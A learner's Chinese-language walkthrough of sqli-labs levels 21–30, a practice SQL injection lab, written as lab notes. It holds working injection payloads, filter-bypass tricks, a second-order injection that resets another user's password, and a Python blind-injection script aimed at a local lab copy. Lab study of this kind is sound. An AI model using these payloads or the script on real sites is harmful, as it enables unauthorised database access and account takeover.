sqli-labs 21 - 30关
less21
登陆后
cookie的uname值是base64加密
试了几次,格式是’)
依旧是3列
剩下的跟上题一样
less22
跟上一题一样,格式是"
less23
又回到get了
闭合是’
直接注释好像有什么问题(应该是被过滤了
语句可能是类似id=’$id’ limit 0,1?(好像真的是
这样是可以的
但是不能1' order by 4 and '1'='1
(还是上图那个返回
在MySQL的执行顺序中,where
在order by
前,第二个查询的时候可能忽略了order by?
( and
是操作符,用于where子句。
SELECT * FROM table_name WHERE id='0' union select 2,3,4 or '1'='1' LIMIT 0,1
or
会作为联合查询第二个语句的条件,而不是第一个语句where
的条件。(and也行
?id=0' union select 1 or '1'='1
到4的时候正常,一共三列
应该是只显示第二个
把第二个替换成想查询的就行
less24(二次注入
可以注册、登入、改密码
大概对应这三个
输入都有被转义(不是删除
只有改密码的时候,username是直接从session得到的
。。。不会了,去搜吧
若当前用户名中含有注释,便可以修改当前用户名中包含的另一用户的密码。
需要二次注入
二次注入也称为存储型注入,就是将可能导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入。
二次注入的一般过程
- 通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了构造的 SQL 语句或者命令。
- 服务端应用程序会将提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
- 向服务端发送第二个与第一次不相同的请求数据信息。
- 服务端接收到提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
- 服务端返回执行的处理结果数据信息,便可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
1.确定注入逻辑
注入点在修改密码处:
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'
变为
UPDATE users SET PASSWORD='$pass' WHERE username='$username'# and password='$curr_pass'
2.注册构造的用户名
注册的admin’#
确实没被过滤
然后就可以用admin’#在未知admin原密码的情况下修改admin的密码了
UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' and password='$curr_pass'
然后就结束了。。。
less25
get,好像把or和and过滤了?
闭合是’
可以双写绕过
依旧是第二个
less25a我没有
less26
’
底下有提示你输入的被过滤后的结果
空格可用%a0绕过,and可以双写绕过
(一些其他的空格替代
%09
TAB 键(水平)%0a
新建一行%0b
TAB 键(垂直)%0c
新的一页%0d
return 功能%a0
空格
less26a
',错误无回显
还有这个讲法啊。。
改了之前第八题的脚本(附加url和搜索语句
import sys
import requests
def getPayload(char_index, ascii):
# 附加url
start_str = "1'anandd"
end_str = "oorr'1'='"
#select_str = "select%a0group_concat(schema_name)%a0from%a0infoorrmation_schema.schemata"
select_str = "select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()"
#select_str = "select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='emails'"
#内容
database_name = "security"
table_name = "users"
column_name = ["id","username","passwoorrd"]
#where_str = "where(table_schema='"+database_name+"'%26%26table_name='"+table_name+"')"
#select_str = "select(group_concat(concat_ws('@',"+column_name[0]+","+column_name[1]+","+column_name[2]+")))from("+table_name+")"
# 连接payload
sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
payload = start_str + sqli_str + end_str
return payload
def execute(char_index, ascii):
# 连接url
url = "http://127.0.0.1/sqli-labs-php7-master/Less-26a/?id="
exec_url = url + getPayload(char_index, ascii)
#print(exec_url)
# 检查回显
echo = "Your Login name"
content = requests.get(exec_url).text
if echo in content:
return True
else:
return False
def dichotomy(char_index, left, right):
while left < right:
# 二分法
ascii = int((left+right)/2)
if execute(str(char_index+1), str(ascii)):
left = ascii
else:
right = ascii
# 结束二分
if left == right-1:
if execute(str(char_index+1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)
if __name__ == "__main__":
for len in range(1024): # 查询结果的长度
char = dichotomy(len, 30, 126)
if ord(char) == 31: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
sys.stdout.write("\r\n")
sys.stdout.flush()
less27
过滤union、select
还是可以双写绕过。。
less27a
闭合是"。
?id=0%22uunionnion%a0selselselectectect%a02,3,4%a0and%221%22=%221
select好像过滤了两次
改下26a的脚本就行。。。and、or双写去了,select改三写,payload = (start_str + sqli_str + end_str).replace("'",'"')
less28
'闭合,没有错误回显,依旧过滤了空格
试了好久才发现是有小括号的。。。
判断小括号方法:
2'and'1'='1
- 若查询语句为
where id='$id'
,查询时是where id='2'&&'1'='1'
,结果是where id='2'
,回显会是id=2
。 - 若查询语句为
where id=('$id')
,查询时是where id=('2'&&'1'='1')
,MySQL 将'2'
作为了 Bool 值,结果是where id=('1')
,回显会是id=1
。
1')||'1'=('1
若查询语句有小括号正确回显,若无小括号错误回显(无回显)。
但是我这里怎么没过滤union和select。。?
?id=0')union%a0select%a02,database(),4%a0and('1'='1
(搜了下,有过滤的好像双写就行了
less28a
还是’)闭合
。。。怎么都和上一题一样。。。我怀疑我题目有问题。。。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e1LhCXPB-1590683023681)(sqli-labs 21 - 30关.assets/1590675978511.png)]
less29
单引号注入,似乎会编码
–+可以注释,#不行
好像没有其他过滤了?
???出大问题,之后的题是要配置的
https://www.cnblogs.com/heiwa-0924/p/12369438.html
没成功,还把mysql搞崩了,还重新下了